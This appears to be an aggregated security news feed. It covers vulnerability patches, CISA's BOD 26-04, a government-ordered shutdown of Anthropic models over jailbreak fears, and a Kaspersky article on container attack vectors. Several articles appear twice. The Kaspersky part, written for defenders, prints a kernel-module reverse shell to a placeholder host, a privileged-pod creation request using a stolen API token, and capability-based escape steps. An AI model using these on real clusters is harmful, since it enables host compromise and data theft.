AI infrastructure introduces new security risks that traditional data center designs were never built to handle.
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The flaws could allow attackers to access credentials and data, take over accounts, and escalate their privileges.
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Attackers could exploit the bugs to modify configurations, terminate or restart processes, cross security boundaries, leak memory, and execute code.
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The researcher stripped the proof-of-concept (PoC) exploit to prevent immediate exploitation of the vulnerability.
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The industrial automation giant has fixed security holes in Logix, CompactLogix, Flex, RSLinx, and FactoryTalk products.
The post Rockwell Automation Patches Vulnerabilities in ICS Controllers and Software appeared first on SecurityWeek.
The public PoC code exploits a race condition in Microsoft Defender to spawn a command prompt with System privileges.
The post Microsoft Working on Patch for ‘RoguePlanet’ Zero-Day appeared first on SecurityWeek.
Oracle has released its June 2026 Critical Security Patch Update to fix vulnerabilities in Communications, EBS, Enterprise Manager and other products.
The post Oracle’s Second Monthly Security Updates Deliver 245 Patches appeared first on SecurityWeek.
The browser updates address multiple memory safety bugs that could potentially lead to remote code execution.
The post Chrome and Firefox Updated to Patch Critical, High-Severity Vulnerabilities appeared first on SecurityWeek.
In this post, we examine how CISA BOD 26-04 shifts the industry away from flat CVSS scoring and details how Flashpoint bridges the critical data gaps left by public vulnerability repositories.
Table Of ContentsWith the recent issuance of Binding Operational Directive (BOD) 26-04, CISA has officially shifted federal policy away from static severity scores and flat patching timelines toward threat-informed prioritization. The move reflects a reality security teams have grappled with for years: not all critical vulnerabilities post the same risk, and not all active vulnerabilities receive the highest CVSS scores.
Traditional vulnerability management programs have often relied on severity-based patching models that force resource-constrained teams to focus on large volumes of high-scoring vulnerabilities. Yet research consistently shows that threat actors routinely exploit a broader range of weaknesses, including lower-scoring vulnerabilities on internet-facing assets, to gain initial access and move laterally through victim environments.
While BOD 24-04 represents a significant step forward, there are still hidden challenges organizations will face as they adopt a risk-based approach. The operational reality is that executing a truly risk-based matrix validates what Flashpoint has maintained for years: effective vulnerability prioritization requires deep, contextual threat data. Unfortunately, the needed real-world metadata for this kind of context are simply not supported by public sources of vulnerability intelligence.
BOD 26-04 evaluates the urgency of a vulnerability by cross-referencing a security flaw against four distinct operational variables:
By analyzing these variables in tandem, organizations can tier their response and execute clear, defensible SLA metrics.
| Risk Priority | Real-World Matrix Conditions | Required SLA & Operational Action |
| P1: Immediate Risk | In KEV + Publicly Exposed + Automatable + Total Impact | 3 Days (Includes Mandatory Forensic Triage) |
| P2: Urgent Risk | In KEV + Publicly Exposed + (Either Non-Automatable OR Partial Impact) | 7 Days |
| P3: Elevated Risk | In KEV + Internal / Non-Publicly Exposed Asset | 14 Days |
| P4: Standard Risk | Not in KEV + Publicly Exposed + Automatable + Total Impact | 30 Days |
| Deferred Risk | Not in KEV + Internal Asset OR Lower Technical Impact | Next Scheduled System Upgrade / Maintenance |
According to CISA, the pilot testing of this model has shown that fewer than 1% of an organization’s typical vulnerability backlog requires urgent, immediate remediation, while over 60% can be safely deferred to standard system maintenance cycles. However, implementing this framework successfully requires access to granular, real-world data points that public sources of vulnerability intelligence simply do not support.
“Speaking with security teams in the wake of this directive, it is clear that BOD 26-04 is a major paradigm shift. While the ability to safely defer more than half of your patch backlog is an invaluable efficiency gain for modern organizations, executing that strategy effectively requires ground-truth intelligence on exploit automation and adversary intent that public registries simply cannot deliver.”
Josh Lefkowitz, CEO and Co-founder at Flashpoint
To operationalize this model successfully, organizations will require a high-fidelity intelligence pipeline that combines comprehensive threat and vulnerability intelligence into clear, context-rich insights that support prioritization and decision making. You cannot confidently defer remediation without verifiable intelligence that proves the vulnerability lacks active exploit history or automation maturity.
Unfortunately, relying on public data feeds like the CVE database or the National Vulnerability Database (NVD) to fuel this matrix creates an immediate operational bottleneck. Public repositories have historically struggled under severe analysis backlogs, leading to processing delays and missing Common Platform Enumeration (CPE) data. Furthermore, public feeds are inherently reactive; they do not monitor illicit communities where exploit code is developed, nor do they track the real-time weaponization metrics needed to meet BOD 26-04’s tight 3-day or 7-day compliance window.
Flashpoint Vulnerability Intelligence bridges the gap between public data limitations and the requirements of real-world exposure management. Independently researched and enriched, Flashpoint provides the precise contextual signals required by the CISA BOD 26-04 matrix:
By integrating Flashpoint’s continuous intelligence into operational workflows, security teams can automatically validate exposure, assess automation potential, and confidently claim the operational relief that risk-based prioritization promises.
“We are convinced by Flashpoint’s superior vulnerability coverage, timeliness in the updates, and long-term monitoring of exploits. We also really appreciate Flashpoint’s proprietary CVSS rating and classifications based on expert knowledge of the standard and practical use in the industry. Having all this curated information at your fingertips is a game changer.”
Vulnerability Manager, Telecommunications
CISA’s BOD 26-04 represents a critical shift away from severity-based patching and toward defensive efficiency. However, the effectiveness of this model is entirely dependent on the fidelity of your threat data.
Without best-in-class comprehensive vulnerability intelligence, security teams will be forced back into reactive patching cycles. Request a demo to learn more how Flashpoint helps security teams move beyond the constraints of static scoring and align their vulnerability management workflows with actual risk.
The post The Shift to Threat-Informed Prioritization: Operationalizing CISA BOD 26-04 appeared first on Flashpoint.
Anthropic has been ordered by the US government to cut off its newest Claude Fable 5 and Mythos 5 models for fear of abuse by adversaries.
Reuters reports that Anthropic said it will “abruptly disable” its most advanced AI models for all users after the US government ordered it to suspend access to the models for foreign nationals, citing national security concerns.
Officials reportedly believe a jailbreak could turn Fable 5 and Mythos 5 into vulnerability-discovery tools for adversaries, so Anthropic says it is disabling them worldwide rather than try to nationality‑filter access, since it is virtually impossible to verify every user’s nationality.
In a statement on its website, Anthropic says:
“The letter did not provide specific details of its national security concern. Our understanding is that the government believes it has become aware of a method of bypassing, or “jailbreaking” Fable 5. We reviewed a demonstration of this specific technique being used to identify a small number of previously known, minor vulnerabilities. These vulnerabilities all appear relatively simple, and we have found that other publicly-available models are able to discover them as well without requiring a bypass.”
Mythos 5 is the non-public full version, which is currently used only by government agencies and selected corporate partners to harden their systems. Fable 5 is a Mythos-class model that should supposedly be safe for general use.
It makes sense to me that if Fable 5 is easy to jailbreak, that it should fall under the same restrictions as Mythos 5. However, Anthropic maintains that it has built-in safeguards that mean queries on some topics will instead receive a response from the next-most-capable model, Claude Opus 4.8.
The relationship between the US government and Anthropic had shown signs of easing in parts of the US government after tensions over military use, surveillance, and autonomous weapons. In March, defense Secretary Pete Hegseth designated the San Francisco-based company a “supply-chain risk to national security.”
To understand the nature of the argument, it is necessary to understand that Mythos 5 is described in multiple reports as particularly effective at identifying software vulnerabilities, including long‑standing bugs in complex, legacy systems such as those in banking and other critical infrastructure. Many view this as dual‑use: great for defense hardening, but catastrophic in the wrong hands.
In recent updates from major software vendors like Microsoft and Google, we’ve seen a growth in numbers of patched vulnerabilities after the vendors began using AI-guided search for new vulnerabilities in their own software. We also know that Mozilla found over 270 Firefox vulnerabilities with the aid of Anthropic’s new Claude Mythos model.
In the wrong hands these vulnerabilities could definitely do a lot of harm. So, it looks like it will take some time before regular consumers and developers will gain access to Fable 5 and Mythos 5 entirely. However, existing Anthropic models (older Claude variants) remain available.
For home users who were simply chatting with Claude or using it to help with basic scripting, the change will mostly show up as “this specific version is unavailable” rather than a broader AI blackout.
Removing a high‑end vulnerability‑finding model from broad circulation increases the effort required for less‑resourced cybercriminals to automate discovery of complex bugs in consumer‑facing software and services only by so much. There are other models available on the black market that might be just as effective. And for most cybercriminals, turning a vulnerability into a method they can utilize in an exploit is much more relevant.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Anthropic has been ordered by the US government to cut off its newest Claude Fable 5 and Mythos 5 models for fear of abuse by adversaries.
Reuters reports that Anthropic said it will “abruptly disable” its most advanced AI models for all users after the US government ordered it to suspend access to the models for foreign nationals, citing national security concerns.
Officials reportedly believe a jailbreak could turn Fable 5 and Mythos 5 into vulnerability-discovery tools for adversaries, so Anthropic says it is disabling them worldwide rather than try to nationality‑filter access, since it is virtually impossible to verify every user’s nationality.
In a statement on its website, Anthropic says:
“The letter did not provide specific details of its national security concern. Our understanding is that the government believes it has become aware of a method of bypassing, or “jailbreaking” Fable 5. We reviewed a demonstration of this specific technique being used to identify a small number of previously known, minor vulnerabilities. These vulnerabilities all appear relatively simple, and we have found that other publicly-available models are able to discover them as well without requiring a bypass.”
Mythos 5 is the non-public full version, which is currently used only by government agencies and selected corporate partners to harden their systems. Fable 5 is a Mythos-class model that should supposedly be safe for general use.
It makes sense to me that if Fable 5 is easy to jailbreak, that it should fall under the same restrictions as Mythos 5. However, Anthropic maintains that it has built-in safeguards that mean queries on some topics will instead receive a response from the next-most-capable model, Claude Opus 4.8.
The relationship between the US government and Anthropic had shown signs of easing in parts of the US government after tensions over military use, surveillance, and autonomous weapons. In March, defense Secretary Pete Hegseth designated the San Francisco-based company a “supply-chain risk to national security.”
To understand the nature of the argument, it is necessary to understand that Mythos 5 is described in multiple reports as particularly effective at identifying software vulnerabilities, including long‑standing bugs in complex, legacy systems such as those in banking and other critical infrastructure. Many view this as dual‑use: great for defense hardening, but catastrophic in the wrong hands.
In recent updates from major software vendors like Microsoft and Google, we’ve seen a growth in numbers of patched vulnerabilities after the vendors began using AI-guided search for new vulnerabilities in their own software. We also know that Mozilla found over 270 Firefox vulnerabilities with the aid of Anthropic’s new Claude Mythos model.
In the wrong hands these vulnerabilities could definitely do a lot of harm. So, it looks like it will take some time before regular consumers and developers will gain access to Fable 5 and Mythos 5 entirely. However, existing Anthropic models (older Claude variants) remain available.
For home users who were simply chatting with Claude or using it to help with basic scripting, the change will mostly show up as “this specific version is unavailable” rather than a broader AI blackout.
Removing a high‑end vulnerability‑finding model from broad circulation increases the effort required for less‑resourced cybercriminals to automate discovery of complex bugs in consumer‑facing software and services only by so much. There are other models available on the black market that might be just as effective. And for most cybercriminals, turning a vulnerability into a method they can utilize in an exploit is much more relevant.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
If you’re a user—owner?—of this cryptocurrency, this is important:
On May 29, the security researcher Taylor Hornby found a critical vulnerability in Zcash Orchard privacy pool using Claude Opus 4.8. The Zcash team hired Hornby specifically to look for this kind of issue. He found one fast enough to be embarrassing.
The Orchard pool is the newest and most advanced shielded transaction system in the cryptocurrency Zcash. Introduced in 2022, it allows users to send and receive ZEC while keeping transaction details private. It uses zero-knowledge proofs to validate transactions without revealing amounts or participants. The bug: a specific check that was supposed to validate transaction inputs wasn’t actually enforcing the rules it appeared to enforce. An attacker could have exploited the flaw to feed false inputs into that check and generate ZEC from nothing, with the zero-knowledge proof system blessing the fraudulent transaction as valid.
It’s fixed; that’s the good news. The bad news is that there’s no way of knowing if anyone exploited the vulnerability to steal money. And this fragility is the fundamental problem that makes blockchain such a bad idea.
AI-driven development is not something organizations can or should block. But it must be governed.
The post Everybody Is Vibe Coding But Nobody Told the Security Team appeared first on SecurityWeek.
The flaw allows attackers to execute arbitrary code remotely and has been exploited in the wild for two months.
The post Everest Forms Vulnerability Exploited to Hack WordPress Sites appeared first on SecurityWeek.
In April, Anthropic initated Project Glasswing. The idea was to let companies use their new model to find and fix vulnerabilities in their own software. It was a fantastic PR move, and so many press outlets have uncritically parroted Anthropic’s claims that it’s now common wisdom that Mythos is better at finding software vulnerabilities than other models. Which is just not true.
In any case, Anthropic has published a Project Glasswing status report. It’s finding a lot of vulnerabilities in software—yay! Some of them are even dangerous. But almost none of them has been patched. It’s weird. There’s something fishy about the data that I don’t understand. That Anthropic refuses to release details—that it just says “trust us”—is a big problem here.
Unauthenticated attackers can exploit the flaw via specially crafted POST requests that crash the Serv-U service.
The post SolarWinds Serv-U Vulnerability Exploited in the Wild appeared first on SecurityWeek.
We include indicators of activity and mitigations for PAN-OS vulnerability CVE-2026-0257.
The post Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257 appeared first on Unit 42.
New article: “Responsible Disclosure in the Age of AI: A Call for Urgent Action,” by Melissa Hathaway.
Abstract: Artificial intelligence is fundamentally reshaping the balance between vulnerability discovery and remediation. Frontier AI models are now capable of autonomously identifying exploitable software vulnerabilities at unprecedented speed and scale. This development exposes decades of accumulated technical debt created by a software industry that prioritized rapid deployment over secure-by-design engineering practices. Drawing on the evolution of software assurance, vulnerability disclosure frameworks, and U.S. cyber policy, this perspective argues that the current moment represents a strategic inflection point for governments, industry, and critical infrastructure operators. The author examines the growing tension between offensive and defensive equities in cyberspace, the emergence of AI-enabled vulnerability discovery capabilities in both the U.S. and China, and the increasing risks posed by unsupported legacy systems and AI-assisted code generation practices. Responsible disclosure can no longer remain a reactive or fragmented process, but must become a coordinated national and international resilience effort involving governments, software vendors, infrastructure operators, and emergency response organizations. The article concludes with an urgent call for accelerated remediation, large-scale patch management coordination, and sustained investment in automated vulnerability repair capabilities before adversaries exploit this rapidly narrowing window of opportunity.
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
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docker exec or similar mechanisms.Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json
The configuration passed in the pod.json file is explicitly designed to enable an escape:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-pod-from-api"
},
"spec": {
"containers": [
{
"name": "debug-container",
"image": "ubuntu:latest",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
]
}
}
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
docker exec or similar mechanisms.Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
